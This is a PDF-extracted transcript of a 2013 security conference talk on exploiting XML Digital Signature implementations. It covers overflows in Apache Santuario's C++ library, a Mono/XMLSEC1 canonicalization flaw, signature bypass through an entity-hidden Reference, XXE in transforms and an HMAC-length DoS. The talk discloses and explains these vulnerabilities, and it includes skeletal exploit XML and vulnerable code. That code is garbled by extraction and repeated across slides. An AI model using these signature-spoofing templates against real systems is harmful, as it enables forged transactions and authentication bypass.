The Forger s Art Exploiting XML Digital Signature Implementations HITB 2013
|
|
|
- Elfrieda Leslie Franklin
- 9 years ago
- Views:
Transcription
1 The Forger s Art Exploiting XML Digital Signature Implementations HITB 2013 James Forshaw (@tiraniddo) Research. Response.
2 What am I going to talk about? XML Digital Signature Implementations Vulnerabilities and how to exploit Memory Corruption Denial of Service Parsing Issues Signature Spoofing Demos
3 Why? SOAP Web Service Security Visa 3D Secure / Verified by Visa SAML Assertions MS Office Signatures.NET ClickOnce/XBAP Manifests
4 Once upon a time, on a client site...
5 Implementations
6 Existing Attacks Been numerous attacks against XML Digital Signatures HMAC Truncation (CVE ) Signature Wrapping XSLT DoS/Remote Code Execution
7 What are XML Digital Signatures?
8 XML Digital Signatures
9 Signing XML <good/> Read Bytes Sign XML Document Signature
10 Signing XML S/MIME? PGP? <good/> XML Document Signature
11 Of Course Not As the "great" Steve Ballmer might have said: "XML Developers, XML Developers, XML Developers!"
12 Signing XML <good/> Reference <good/> Transform XML Document Canonicalize <SignedInfo> <CanonicalizationMethod/> <SignatureMethod/> <Reference URI="#id"> <Transforms/> <DigestMethod/> <DigestValue>Bo0b5... </DigestValue> </Reference> </SignedInfo> SignedInfo Digest SHA1: 09381a0 9812f20... Digest <good/> SHA1: 5282abc 5efefa0... Sign Build Result Identity Signed XML Document
13 Signed XML Document <good> <Signature xmlns=" <SignedInfo> <CanonicalizationMethod Algorithm=" <SignatureMethod Algorithm=" <Reference URI=""> <Transforms> <Transform Algorithm=" </Transforms> <DigestMethod Algorithm=" <DigestValue>Bo0b5...</DigestValue> </Reference> </SignedInfo> <SignatureValue>K4TYp...</SignatureValue> </Signature> </good>
14 Signed XML Document <good> <Signature xmlns=" <SignedInfo> <CanonicalizationMethod Algorithm=" <SignatureMethod Algorithm=" <Reference URI=""> <Transforms> <Transform Algorithm=" </Transforms> <DigestMethod Algorithm=" <DigestValue>Bo0b5...</DigestValue> </Reference> </SignedInfo> <SignatureValue>K4TYp...</SignatureValue> </Signature> </good>
15 Signed XML Document <good> <Signature xmlns=" <SignedInfo> <CanonicalizationMethod Algorithm=" <SignatureMethod Algorithm=" <Reference URI=""> <Transforms> <Transform Algorithm=" </Transforms> <DigestMethod Algorithm=" <DigestValue>Bo0b5...</DigestValue> </Reference> </SignedInfo> <SignatureValue>K4TYp...</SignatureValue> </Signature> </good>
16 Signed XML Document <good> <Signature xmlns=" <SignedInfo> <CanonicalizationMethod Algorithm=" <SignatureMethod Algorithm=" <Reference URI=""> <Transforms> <Transform Algorithm=" </Transforms> <DigestMethod Algorithm=" <DigestValue>Bo0b5...</DigestValue> </Reference> </SignedInfo> <SignatureValue>K4TYp...</SignatureValue> </Signature> </good>
17 Signed XML Document <good> <Signature xmlns=" <SignedInfo> <CanonicalizationMethod Algorithm=" <SignatureMethod Algorithm=" <Reference URI=""> <Transforms> <Transform Algorithm=" </Transforms> <DigestMethod Algorithm=" <DigestValue>Bo0b5...</DigestValue> </Reference> </SignedInfo> <SignatureValue>K4TYp...</SignatureValue> </Signature> </good>
18 Verification Pipeline <good/> <SignedInfo> <CanonicalizationMethod/> <SignatureMethod/> <Reference URI="#id"> <Transforms/> <DigestMethod/> <DigestValue>Bo0b5... </DigestValue> </Reference> </SignedInfo> Signature Parsing SignedInfo Verification Reference Verification?
19 Signature Parsing Bugs
20 CVE Affected Apache Santuario C++ Unauthenticated Heap overflow in Exclusive Canonicalization prefix list
21 Canonicalization Prefix List <Transform Algorithm=" <InclusiveNamespaces PrefixList="xsd ds" xmlns=" </Transform>
22 Canonicalization Prefix List <Transform Algorithm=" <InclusiveNamespaces PrefixList="xsd ds" xmlns=" </Transform>
23 CVE bool iswhitespace(char c) { return c == ' ' c == '\0' c == '\t' c == '\r' c == '\n'; void XSECC14n ::setExclusive(char * xmlnslist) { char* nsbuf = new char [strlen(xmlnslist) + 1]; int i = 0, j = 0; while (xmlnslist[i]!= '\0') { while (iswhitespace(xmlnslist[i])) ++i; // Skip white space j = 0; while (!iswhitespace(xmlnslist[i])) nsbuf[j++] = xmlnslist[i++]; // Copy name // Terminate the string nsbuf[j] = '\0'; // Add to exclusive list m_exclnslist.push_back(strdup(nsbuf));
24 CVE bool iswhitespace(char c) { return c == ' ' c == '\0' c == '\t' c == '\r' c == '\n'; void XSECC14n ::setExclusive(char * xmlnslist) { char* nsbuf = new char [strlen(xmlnslist) + 1]; int i = 0, j = 0; while (xmlnslist[i]!= '\0') { while (iswhitespace(xmlnslist[i])) ++i; // Skip white space j = 0; while (!iswhitespace(xmlnslist[i])) nsbuf[j++] = xmlnslist[i++]; // Copy name // Terminate the string nsbuf[j] = '\0'; // Add to exclusive list m_exclnslist.push_back(strdup(nsbuf));
25 CVE bool iswhitespace(char c) { return c == ' ' c == '\0' c == '\t' c == '\r' c == '\n'; void XSECC14n ::setExclusive(char * xmlnslist) { char* nsbuf = new char [strlen(xmlnslist) + 1]; int i = 0, j = 0; while (xmlnslist[i]!= '\0') { while (iswhitespace(xmlnslist[i])) ++i; // Skip white space j = 0; while (!iswhitespace(xmlnslist[i])) nsbuf[j++] = xmlnslist[i++]; // Copy name // Terminate the string nsbuf[j] = '\0'; // Add to exclusive list m_exclnslist.push_back(strdup(nsbuf));
26 CVE bool iswhitespace(char c) { return c == ' ' c == '\0' c == '\t' c == '\r' c == '\n'; void XSECC14n ::setExclusive(char * xmlnslist) { char* nsbuf = new char [strlen(xmlnslist) + 1]; int i = 0, j = 0; while (xmlnslist[i]!= '\0') { while (iswhitespace(xmlnslist[i])) ++i; // Skip white space j = 0; while (!iswhitespace(xmlnslist[i])) nsbuf[j++] = xmlnslist[i++]; // Copy name // Terminate the string nsbuf[j] = '\0'; // Add to exclusive list m_exclnslist.push_back(strdup(nsbuf));
27 CVE bool iswhitespace(char c) { return c == ' ' c == '\0' c == '\t' c == '\r' c == '\n'; void XSECC14n ::setExclusive(char * xmlnslist) { char* nsbuf = new char [strlen(xmlnslist) + 1]; int i = 0, j = 0; while (xmlnslist[i]!= '\0') { while (iswhitespace(xmlnslist[i])) ++i; // Skip white space j = 0; while (!iswhitespace(xmlnslist[i])) nsbuf[j++] = xmlnslist[i++]; // Copy name // Terminate the string nsbuf[j] = '\0'; // Add to exclusive list m_exclnslist.push_back(strdup(nsbuf));
28 CVE bool iswhitespace(char c) { return c == ' ' c == '\0' c == '\t' c == '\r' c == '\n'; void XSECC14n ::setExclusive(char * xmlnslist) { char* nsbuf = new char [strlen(xmlnslist) + 1]; int i = 0, j = 0; while (xmlnslist[i]!= '\0') { while (iswhitespace(xmlnslist[i])) ++i; // Skip white space j = 0; while (!iswhitespace(xmlnslist[i])) nsbuf[j++] = xmlnslist[i++]; // Copy name // Terminate the string nsbuf[j] = '\0'; // Add to exclusive list m_exclnslist.push_back(strdup(nsbuf));
29 CVE bool iswhitespace(char c) { return c == ' ' c == '\0' c == '\t' c == '\r' c == '\n'; void XSECC14n ::setExclusive(char * xmlnslist) { char* nsbuf = new char [strlen(xmlnslist) + 1]; int i = 0, j = 0; while (xmlnslist[i]!= '\0') { while (iswhitespace(xmlnslist[i])) ++i; // Skip white space j = 0; while (!iswhitespace(xmlnslist[i])) nsbuf[j++] = xmlnslist[i++]; // Copy name // Terminate the string nsbuf[j] = '\0'; // Add to exclusive list m_exclnslist.push_back(strdup(nsbuf));
30 Exploiting It <Reference URI=""> <Transforms> <Transform Algorithm=" <InclusiveNamespaces PrefixList="AAAA..."/> </Transform> <Transform Algorithm=" <InclusiveNamespaces PrefixList=""/> </Transform> </Transforms> </Reference>
31 Exploiting It <Reference URI=""> <Transforms> <Transform Algorithm=" <InclusiveNamespaces PrefixList="AAAA..."/> </Transform> <Transform Algorithm=" <InclusiveNamespaces PrefixList=""/> </Transform> </Transforms> </Reference>
32 Exploiting It <Reference URI=""> <Transforms> <Transform Algorithm=" <InclusiveNamespaces PrefixList="AAAA..."/> </Transform> <Transform Algorithm=" <InclusiveNamespaces PrefixList=""/> </Transform> </Transforms> </Reference>
33 First Transform xmlnslist 'A' 'A' 'A' 'A' 'A' 'A' 'A' 'A' nsbuf 'A' 'A' 'A' 'A' 'A' 'A' 'A' 'A'
34 Second Transform iswhitespace() == true i xmlnslist ' ' 0 'A' 'A' 'A' 'A' 'A' 'A' j nsbuf X X
35 Second Transform iswhitespace() == true i xmlnslist ' ' 0 'A' 'A' 'A' 'A' 'A' 'A' j nsbuf X X
36 Second Transform iswhitespace() == false i xmlnslist ' ' 0 'A' 'A' 'A' 'A' 'A' 'A' j nsbuf 'A' X
37 Second Transform iswhitespace() == false i xmlnslist ' ' 0 'A' 'A' 'A' 'A' 'A' 'A' j nsbuf 'A' 'A' X 'A' 'A' 'A' 'A' 'A' 'A'
38 CVE Affected Apache Santuario C++ Unauthenticated Stack overflow parsing a Reference URI Bonus: Fix was wrong, ended up with a heap overflow instead
39 Reference URIs <good id="xyz"> </good> Reference Type ID Reference Entire Document XPointer ID XPointer Entire Document External Example <Reference URI="#xyz"> <Reference URI=""> <Reference URI="#xpointer(id('xyz'))"> <Reference URI="#xpointer(/)"> <Reference URI="
40 CVE const char* URI = getreferenceuri(); // Check for #xpointer(id('a')) if (strncmp(uri, "#xpointer(id('", 14) == 0) { size_t len = strlen(&uri[14]); char tmp[512]; if (len > 511) len = 511; size_t j = 14, i = 0; // Extract ID value while (URI[j]!= '\'') { tmp[i++] = URI[j++]; tmp[i] = '\0';
41 CVE const char* URI = getreferenceuri(); // Check for #xpointer(id('a')) if (strncmp(uri, "#xpointer(id('", 14) == 0) { size_t len = strlen(&uri[14]); char tmp[512]; if (len > 511) len = 511; size_t j = 14, i = 0; // Extract ID value while (URI[j]!= '\'') { tmp[i++] = URI[j++]; tmp[i] = '\0';
42 CVE const char* URI = getreferenceuri(); // Check for #xpointer(id('a')) if (strncmp(uri, "#xpointer(id('", 14) == 0) { size_t len = strlen(&uri[14]); char tmp[512]; if (len > 511) len = 511; size_t j = 14, i = 0; // Extract ID value while (URI[j]!= '\'') { tmp[i++] = URI[j++]; tmp[i] = '\0';
43 CVE const char* URI = getreferenceuri(); // Check for #xpointer(id('a')) if (strncmp(uri, "#xpointer(id('", 14) == 0) { size_t len = strlen(&uri[14]); char tmp[512]; if (len > 511) len = 511; size_t j = 14, i = 0; // Extract ID value while (URI[j]!= '\'') { tmp[i++] = URI[j++]; tmp[i] = '\0';
44 Exploiting It <root> <Signature xmlns=" <SignedInfo> <CanonicalizationMethod/> <SignatureMethod/> <Reference URI="#xpointer(id('AAAA...')"> <Transforms/> <DigestMethod/> <DigestValue>Bo0b5...</DigestValue> </Reference> </SignedInfo> <SignatureValue>K4TYp...</SignatureValue> </Signature> </root>
45 Demo Time!
46 Reference Verification Bugs
47 XML Equivalence Different physical XML representations might still be equivalent <good x="1" y="2"/> <good y="2" x="1"></good>
48 Naïve Verification <good x="1" y="2"/> <good y="2" x="1"></good> SHA1 SHA1 1cc730a1b a6d5ff15...
49 Canonicalization (C14N) <good x="1" y="2"/> <good y="2" x="1"></good> Canonicalizer <good x="1" y="2"></good> SHA1 9c251a
50 Canonicalization (C14N) XML Document 1 XML Document 2 Canonicalizer Canonical XML SHA1 XXXXXXXXXXXXXX...
51 Mono C14N Vulnerability Affected Mono (unfixed) Also affected XMLSEC1 (fixed) Allows limited signed content modification Same author for both implementations
52 W3C Canonical XML
53 The Bug <good x='"'/> <good x="""></good> <good xmlns='"'/> <good xmlns="""></good> LibXML2 Requires Valid URLs for Namespaces, though Mono doesn't Still, xmlns=' works on XMLSEC1
54 Exploiting It <Transaction> <x:expiry xmlns:x=' time='10:00:00'/> <Payee>Bob</Payee> <Amount>$100</Amount> </Transaction> bool IsExpired(XmlNode trans) { XmlNode expiry = trans.getelementbyname(" "Expiry"); if(expiry!= null) { return CheckExpiry(expiry); return false;
55 Exploiting It <Transaction> <x:expiry xmlns:x=' time="10:00:00'/> <Payee>Bob</Payee> <Amount>$100</Amount> </Transaction> <Transaction> <x:expiry xmlns:x=" time="10:00:00"/> <Payee>Bob</Payee> <Amount>$100</Amount> </Transaction> NS Before = ' time="10:00:00' NS After = '
56 CVE Affected Apache Santuario C++ Signature Bypass by Hiding References Uses an Interesting parsing exploit Almost works in Mono, but they got Lucky!
57 CVE bool DSIGSignature::verify(void) { // First thing to do is check the references bool referencecheckresult = mp_signedinfo->verify(); // Check the signature bool sigvfyresult = verifysignatureonlyinternal(); return sigvfyresult & referencecheckresult;
58 CVE bool DSIGSignature::verify(void) { // First thing to do is check the references // bool referencecheckresult = mp_signedinfo->verify(); // Verify each reference element // // Check the signature bool sigvfyresult = verifysignatureonlyinternal(); bool DSIGSignedInfo::verify() { return return sigvfyresult DSIGReference::verifyReferenceList(mp_referenceList); & referencecheckresult;
59 CVE bool DSIGSignature::verify(void) { // First thing to do is check the references // bool referencecheckresult = mp_signedinfo->verify(); bool DSIGReference::verifyReferenceList(DSIGReferenceList * lst) { // // RunVerify through each a list reference of hashes element and checkhash for each one // // Check the signature bool res = true; bool sigvfyresult = verifysignatureonlyinternal(); int size = lst->getsize(); bool DSIGSignedInfo::verify() for (int i = 0; i < size; { ++i) { return return sigvfyresult DSIGReference::verifyReferenceList(mp_referenceList); & referencecheckresult; (lst->item(i)->checkhash()) { res = false; return res;
60 CVE bool DSIGSignature::verify(void) { // First thing to do is check the references // bool referencecheckresult = mp_signedinfo->verify(); bool DSIGReference::verifyReferenceList(DSIGReferenceList * lst) { // // RunVerify through each a list reference of hashes element and checkhash for each one // // Check the signature bool res = true; bool sigvfyresult = verifysignatureonlyinternal(); int size = lst->getsize(); bool DSIGSignedInfo::verify() for (int i = 0; i < size; { ++i) { return return sigvfyresult DSIGReference::verifyReferenceList(mp_referenceList); & referencecheckresult; (lst->item(i)->checkhash()) { res = false; return res;
61 CVE bool DSIGSignature::verify(void) { // First thing to do is check the references // bool referencecheckresult = mp_signedinfo->verify(); bool DSIGReference::verifyReferenceList(DSIGReferenceList * lst) { // // RunVerify through each a list reference of hashes element and checkhash for each one // // Check the signature bool res = true; bool sigvfyresult = verifysignatureonlyinternal(); int size = lst->getsize(); bool DSIGSignedInfo::verify() for (int i = 0; i < size; { ++i) { return return sigvfyresult DSIGReference::verifyReferenceList(mp_referenceList); & referencecheckresult; (lst->item(i)->checkhash()) { res = false; return res;
62 CVE bool DSIGSignature::verify(void) { // First thing to do is check the references // bool referencecheckresult = mp_signedinfo->verify(); bool DSIGReference::verifyReferenceList(DSIGReferenceList * lst) { // // RunVerify through each a list reference of hashes element and checkhash for each one // // Check the signature bool res = true; bool sigvfyresult = verifysignatureonlyinternal(); int size = lst->getsize(); bool DSIGSignedInfo::verify() for (int i = 0; i < size; { ++i) { return return sigvfyresult DSIGReference::verifyReferenceList(mp_referenceList); & referencecheckresult; (lst->item(i)->checkhash()) { res = false; return true;
63 CVE void DSIGSignedInfo::load(void) { DOMNode * child = mp_signedinfonode->getfirstchild(); // Load rest of SignedInfo... // Now look at references... child = child->getnextsibling(); // Run through the rest of the elements until done while (child!= 0 && (child->getnodetype()!= DOMNode::ELEMENT_NODE)) // Skip text and comments child = child->getnextsibling(); if (child!= NULL) // Have an element node - should be a reference, so let's load the list mp_referencelist = DSIGReference::loadReferenceListFromXML(mp_env, child);
64 CVE void DSIGSignedInfo::load(void) { DOMNode * child = mp_signedinfonode->getfirstchild(); // Load rest of SignedInfo... // Now look at references... child = child->getnextsibling(); // Run through the rest of the elements until done while (child!= 0 && (child->getnodetype()!= DOMNode::ELEMENT_NODE)) // Skip text and comments child = child->getnextsibling(); if (child!= NULL) // Have an element node - should be a reference, so let's load the list mp_referencelist = DSIGReference::loadReferenceListFromXML(mp_env, child);
65 CVE void DSIGSignedInfo::load(void) { DOMNode * child = mp_signedinfonode->getfirstchild(); // Load rest of SignedInfo... // Now look at references... child = child->getnextsibling(); // Run through the rest of the elements until done while (child!= 0 && (child->getnodetype()!= DOMNode::ELEMENT_NODE)) // Skip text and comments child = child->getnextsibling(); if (child!= NULL) // Have an element node - should be a reference, so let's load the list mp_referencelist = DSIGReference::loadReferenceListFromXML(mp_env, child);
66 CVE void DSIGSignedInfo::load(void) { DOMNode * child = mp_signedinfonode->getfirstchild(); // Load rest of SignedInfo... // Now look at references... child = child->getnextsibling(); // Run through the rest of the elements until done while (child!= 0 && (child->getnodetype()!= DOMNode::ELEMENT_NODE)) // Skip text and comments child = child->getnextsibling(); if (child!= NULL) // Have an element node - should be a reference, so let's load the list mp_referencelist = DSIGReference::loadReferenceListFromXML(mp_env, child);
67 Parsed DOM Tree ELEMENT_NODE <SignedInfo> ELEMENT_NODE <C14NMethod> ELEMENT_NODE <SignatureMethod> DSIGSignedInfo::load() ELEMENT_NODE <Reference> ELEMENT_NODE <Transforms> ELEMENT_NODE <Digest>
68 Parsed DOM Tree ELEMENT_NODE <SignedInfo> ELEMENT_NODE <C14NMethod> ELEMENT_NODE <SignatureMethod> Not an ELEMENT_NODE ELEMENT_NODE <Reference> DSIGSignedInfo::load() Ignored
69 Parsed DOM Tree ELEMENT_NODE <SignedInfo> ELEMENT_NODE <C14NMethod> ELEMENT_NODE <SignatureMethod> Not an ELEMENT_NODE ELEMENT_NODE <Reference> DSIGSignedInfo::load() Ignored
70 DOM Node Types Ref: Node Type Attribute CDATASection Comment Document Element Entity EntityReference ProcessingInstruction Child Types Text, EntityReference None None Element, ProcessInstruction, Comment, DocumentType Element, Text, Comment, ProcessingInstruction, CDATASection, EntityReference Element, ProcessingInstruction, Comment, Text, CDATASection, EntityReference Element, ProcessingInstruction, Comment, Text, CDATASection, EntityReference None
71 DOM Node Types Ref: Node Type Attribute CDATASection Comment Document Element Entity EntityReference ProcessingInstruction Child Types Text, EntityReference None None Element, ProcessInstruction, Comment, DocumentType Element, Text, Comment, ProcessingInstruction, CDATASection, EntityReference Element, ProcessingInstruction, Comment, Text, CDATASection, EntityReference Element, ProcessingInstruction, Comment, Text, CDATASection, EntityReference None
72 DOM Node Types Ref: Node Type Attribute CDATASection Comment Document Element Entity EntityReference ProcessingInstruction Child Types Text, EntityReference None None Element, ProcessInstruction, Comment, DocumentType Element, Text, Comment, ProcessingInstruction, CDATASection, EntityReference Element, ProcessingInstruction, Comment, Text, CDATASection, EntityReference Element, ProcessingInstruction, Comment, Text, CDATASection, EntityReference None
73 Entity References ELEMENT_NODE <good> <!DOCTYPE good [ <!ENTITY ent "<b/>"> ]> <good> <a/>&ent;<c/> </good> ELEMENT_NODE <a> ENTITY_REF_NODE &ent; ELEMENT_NODE <c> ELEMENT_NODE <b>
74 Canonical Entity References Ref:
75 Canonical Entity References Ref:
76 Entity References after C14N <good> <a/><b/><c/> </good> ELEMENT_NODE <good> ELEMENT_NODE <a> ELEMENT_NODE <b> ELEMENT_NODE <c>
77 Exploiting It <good> <Signature xmlns=" <SignedInfo> <CanonicalizationMethod/> <SignatureMethod/> <Reference URI=""> <Transforms/> <DigestMethod/> <DigestValue>Bo0b5...</DigestValue> </Reference> </SignedInfo> <SignatureValue>K4TYp...</SignatureValue> </Signature> </good>
78 Exploiting It <!DOCTYPE good [ <!ENTITY hacked "<Reference URI="">...</Reference>"> ]> <good> <Signature xmlns=" <SignedInfo> <CanonicalizationMethod/> <SignatureMethod/> <Reference URI=""> <Transforms/> <DigestMethod/> <DigestValue>Bo0B5...</DigestValue> </Reference> </SignedInfo> <SignatureValue>K4TYp...</SignatureValue> </Signature> </good>
79 Exploiting It <!DOCTYPE good [ <!ENTITY hacked "<Reference URI="">...</Reference>"> ]> <good> <Signature xmlns=" <SignedInfo> <CanonicalizationMethod/> <SignatureMethod/> &hacked; </SignedInfo> <SignatureValue>K4TYp...</SignatureValue> </Signature> </good>
80 Parsed DOM Tree ELEMENT_NODE <SignedInfo> ELEMENT_NODE <C14NMethod> ELEMENT_NODE <SignatureMethod> ENTITY_REF_NODE &hacked; DSIGSignedInfo::load() Ignored ELEMENT_NODE <Reference>
81 CVE-2013-XXXX Affected: Everyone! DTD processing during transformation Can lead to trivial XML DoS attacks Also file stealing through OOB XXE
82 Transforms All Transforms XSLT Envelope Base64 C14N Inclusive Exclusive XPath
83 Transform Chain <SignedInfo> <CanonicalizationMethod/> <SignatureMethod/> <Reference URI=""> <Transforms> <Transform Algorithm=" /> <Transform Algorithm=" /> </Transforms> <DigestMethod Algorithm=" /> <DigestValue>l8bqyMiBpK9m4zbmKnl2b2lZxfI=</DigestValue> </Reference> </SignedInfo>
84 Transform Input/Output Transform Input Type Output Type C14N XML Node Set Octet Stream Base64 Octet Stream Octet Stream Envelope XML Node Set XML Node Set XPath XML Node Set XML Node Set XSLT Octet Stream Octet Stream Transformation Chain XML Node Node Node Input Base64 XML Node Node Node C14N Output How can we do this?
85 Reparsing XML XSECTXFMInputSource is(chain, false); // Create a XercesParser and parse! XercesDOMParser parser; parser.setdonamespaces(true); parser.setcreateentityreferencenodes(true); parser.setdoschema(true); parser.parse(is); xsecsize_t errorcount = parser.geterrorcount(); if (errorcount > 0) throw XSECException(XSECException::XSLError); mp_parseddoc = parser.adoptdocument();
86 Reparsing XML XSECTXFMInputSource is(chain, false); // Create a XercesParser and parse! XercesDOMParser parser; parser.setdonamespaces(true); parser.setcreateentityreferencenodes(true); parser.setdoschema(true); parser.parse(is); xsecsize_t errorcount = parser.geterrorcount(); if (errorcount > 0) throw XSECException(XSECException::XSLError); mp_parseddoc = parser.adoptdocument(); DTD Parsing not Disabled!
87 Demo Time!
88 SignedInfo Verification
89 CVE Affected Apache C++ (again) Circumvented "fix" for HMAC Truncation (CVE ) By sheer ineptitude it ended up an DoS rather than a Signature Bypass
90 Background CVE
91 HMAC Truncation <SignedInfo> <CanonicalizationMethod Algorithm=" <SignatureMethod Algorithm=" <HMACOutputLength>80</HMACOutputLength> </SignatureMethod>... </SignedInfo> AABBCCDDEEFF Truncate to 80 bits
92 HMAC Truncation <SignedInfo> <CanonicalizationMethod Algorithm=" <SignatureMethod Algorithm=" <HMACOutputLength>0</HMACOutputLength> </SignatureMethod>... </SignedInfo> AABBCCDDEEFF Truncate to 0 bits
93 CVE while (child && strcmp(getdsiglocalname(child, "HMACOutputLength")!= 0) child = child->getnextsibling(); if (child) { // Have a max output value! DOMNode *textnode = child->getfirstchild(); if (textnode) { m_hmacoutputlength = atoi(textnode->getnodevalue());
94 CVE while (child && strcmp(getdsiglocalname(child, "HMACOutputLength")!= 0) child = child->getnextsibling(); if (child) { // Have a max output value! DOMNode *textnode = child->getfirstchild(); if (textnode) { m_hmacoutputlength = atoi(textnode->getnodevalue());
95 CVE while (child && strcmp(getdsiglocalname(child, "HMACOutputLength")!= 0) child = child->getnextsibling(); if (child) { // Have a max output value! DOMNode *textnode = child->getfirstchild(); if (textnode) { m_hmacoutputlength = atoi(textnode->getnodevalue());
96 CVE while (child && strcmp(getdsiglocalname(child, "HMACOutputLength")!= 0) child = child->getnextsibling(); if (child) { // Have a max output value! DOMNode *textnode = child->getfirstchild(); if (textnode) { m_hmacoutputlength = atoi(textnode->getnodevalue()); So m_hmacoutputlength is an int?
97 CVE while (child && strcmp(getdsiglocalname(child, "HMACOutputLength")!= 0) child = child->getnextsibling(); if (child) { // First find the appropriate handler for the URI // Have a max output value! XSECAlgorithmHandler* handler = DOMNode *textnode = tmpsov->getfirstchild(); mapuritohandler(mp_signedinfo->getalgorithmuri()); if (textnode) { m_hmacoutputlength = atoi(textnode->getnodevalue()); bool sigvfyret = handler->verifybase64signature( m_signaturevaluesb.rawcharbuffer(), mp_signedinfo->gethmacoutputlength(), mp_signingkey);
98 CVE while (child && strcmp(getdsiglocalname(child, "HMACOutputLength")!= 0) child = child->getnextsibling(); if (child) { // First find the appropriate handler for the URI // Have a max output value! XSECAlgorithmHandler* handler = DOMNode *textnode = tmpsov->getfirstchild(); mapuritohandler(mp_signedinfo->getalgorithmuri()); if (textnode) { m_hmacoutputlength = atoi(textnode->getnodevalue()); bool sigvfyret = handler->verifybase64signature( m_signaturevaluesb.rawcharbuffer(), mp_signedinfo->gethmacoutputlength(), mp_signingkey);
99 CVE bool verifybase64signature( const char * sig, unsigned int outputlen, const char * hash, unsigned int hashlen, XSECCryptoKeyType type) { if(type == XSECCryptoKey::KEY_HMAC) : // FIX: CVE if (outputlen > 0 && (outputlen < 80 outputlen < hashlen / 2)) { throw XSECException("HMACOutputLength set to unsafe value."); return comparebase64stringtoraw(sig, hash, hashlen, outputlen);
100 CVE bool verifybase64signature( const char * sig, unsigned int outputlen, const char * hash, unsigned int hashlen, XSECCryptoKeyType type) { if(type == XSECCryptoKey::KEY_HMAC) : // FIX: CVE if (outputlen > 0 && (outputlen < 80 outputlen < hashlen / 2)) { throw XSECException("HMACOutputLength set to unsafe value."); return comparebase64stringtoraw(sig, hash, hashlen, outputlen);
101 CVE bool verifybase64signature( const char * sig, unsigned int outputlen, const char * hash, unsigned int hashlen, XSECCryptoKeyType type) { if(type == XSECCryptoKey::KEY_HMAC) : // FIX: CVE if (outputlen > 0 && (outputlen < 80 outputlen < hashlen / 2)) { throw XSECException("HMACOutputLength set to unsafe value."); return comparebase64stringtoraw(sig, hash, hashlen, outputlen);
102 CVE bool comparebase64stringtoraw( const char * b64str, unsigned char * raw, unsigned int rawlen, unsigned int maxcompare) { unsigned int maxbytes, maxbits; div_t d = {0; if(maxcompare == 0) { maxcompare = rawlen; d = div(maxcompare, 8); maxbytes = d.quot; maxbits = d.rem; return comparebits(decode(b64str), raw, maxbytes, maxbits);
103 CVE bool comparebase64stringtoraw( const char * b64str, unsigned char * raw, unsigned int rawlen, unsigned int maxcompare) { unsigned int maxbytes, maxbits; div_t d = {0; if(maxcompare == 0) { maxcompare = rawlen; d = div(maxcompare, 8); maxbytes = d.quot; maxbits = d.rem; return comparebits(decode(b64str), raw, maxbytes, maxbits);
104 CVE bool comparebase64stringtoraw( const char * b64str, unsigned bool char comparebits(const * raw, unsigned char* b64str, unsigned const int rawlen, unsigned char* raw, unsigned unsigned int maxcompare) int maxbytes, { unsigned int maxbits) { unsigned int maxbytes, maxbits; div_t d = unsigned {0; int i, j; if(maxcompare == 0) { for (i = 0; i < maxbytes; ++ i) { maxcompare if (raw[i] = rawlen;!= outputstr[i]) return false; d = div(maxcompare, 8); maxbytes = char d.quot; mask = 0x01; maxbits = for d.rem; (j = 0 ; j < maxbits; ++i) { if ((raw[i] & mask)!= (outputstr[i] & mask)) return comparebits(decode(b64str), return false; raw, maxbytes, maxbits); mask = mask << 1; return true;
105 CVE bool comparebase64stringtoraw( const char * b64str, unsigned bool char comparebits(const * raw, unsigned char* b64str, unsigned const int rawlen, unsigned char* raw, unsigned unsigned int maxcompare) int maxbytes, { unsigned int maxbits) { unsigned int maxbytes, maxbits; div_t d = unsigned {0; int i, j; if(maxcompare == 0) { for (i = 0; i < maxbytes; ++ i) { maxcompare if (raw[i] = rawlen;!= outputstr[i]) return false; d = div(maxcompare, 8); maxbytes = char d.quot; mask = 0x01; maxbits = for d.rem; (j = 0 ; j < maxbits; ++i) { if ((raw[i] & mask)!= (outputstr[i] & mask)) return comparebits(decode(b64str), return false; raw, maxbytes, maxbits); mask = mask << 1; return true;
106 CVE bool comparebase64stringtoraw( const char * b64str, unsigned bool char comparebits(const * raw, unsigned char* b64str, unsigned const int rawlen, unsigned char* raw, unsigned unsigned int maxcompare) int maxbytes, { unsigned int maxbits) { unsigned int maxbytes, maxbits; div_t d = unsigned {0; int i, j; if(maxcompare == 0) { for (i = 0; i < maxbytes; ++ i) { maxcompare if (raw[i] = rawlen;!= outputstr[i]) return false; d = div(maxcompare, 8); maxbytes = char d.quot; mask = 0x01; maxbits = for d.rem; (j = 0 ; j < maxbits; ++i) { if ((raw[i] & mask)!= (outputstr[i] & mask)) return comparebits(decode(b64str), return false; raw, maxbytes, maxbits); mask = mask << 1; return true;
107 Div Function
108 Div Function HMACOutputLength = -1 maxcompare = 0xFFFFFFFF d.quot = 0, d.rem = -1 maxbytes = 0, maxbits = 0xFFFFFFFF
109 Exploiting <SignedInfo> <CanonicalizationMethod Algorithm=" <SignatureMethod Algorithm=" <HMACOutputLength>-1</HMACOutputLength> </SignatureMethod>... </SignedInfo> AABBCCDDEEFF Truncate to 8 bits 00
110 DoS Only bool comparebase64stringtoraw( const char * b64str, unsigned bool char comparebits(const * raw, unsigned char* b64str, unsigned const int rawlen, unsigned char* raw, unsigned unsigned int maxcompare) int maxbytes, { unsigned int maxbits) { unsigned int maxbytes, maxbits; div_t d = unsigned {0; int i, j; if(maxcompare == 0) { for (i = 0; i < maxbytes; ++ i) { maxcompare if (raw[i] = rawlen;!= outputstr[i]) return false; d = div(maxcompare, 8); maxbytes = char d.quot; mask = 0x01; maxbits = for d.rem; (j = 0 ; j < maxbits; ++i) { if ((raw[i] & mask)!= (outputstr[i] & mask)) return comparebits(decode(b64str), return false; raw, maxbytes, maxbits); mask = mask << 1; return true;
111 DoS Only bool comparebase64stringtoraw( const char * b64str, unsigned bool char comparebits(const * raw, unsigned char* b64str, unsigned const int rawlen, unsigned char* raw, unsigned unsigned int maxcompare) int maxbytes, { unsigned int maxbits) { unsigned int maxbytes, maxbits; div_t d = unsigned {0; int i, j; if(maxcompare == 0) { for (i = 0; i < maxbytes; ++ i) { maxcompare if (raw[i] = rawlen;!= outputstr[i]) return false; d = div(maxcompare, 8); maxbytes = char d.quot; mask = 0x01; maxbits = for d.rem; (j = 0 ; j < maxbits; ++i) { if ((raw[i] & mask)!= (outputstr[i] & mask)) return comparebits(decode(b64str), return false; raw, maxbytes, maxbits); mask = mask << 1; return true;
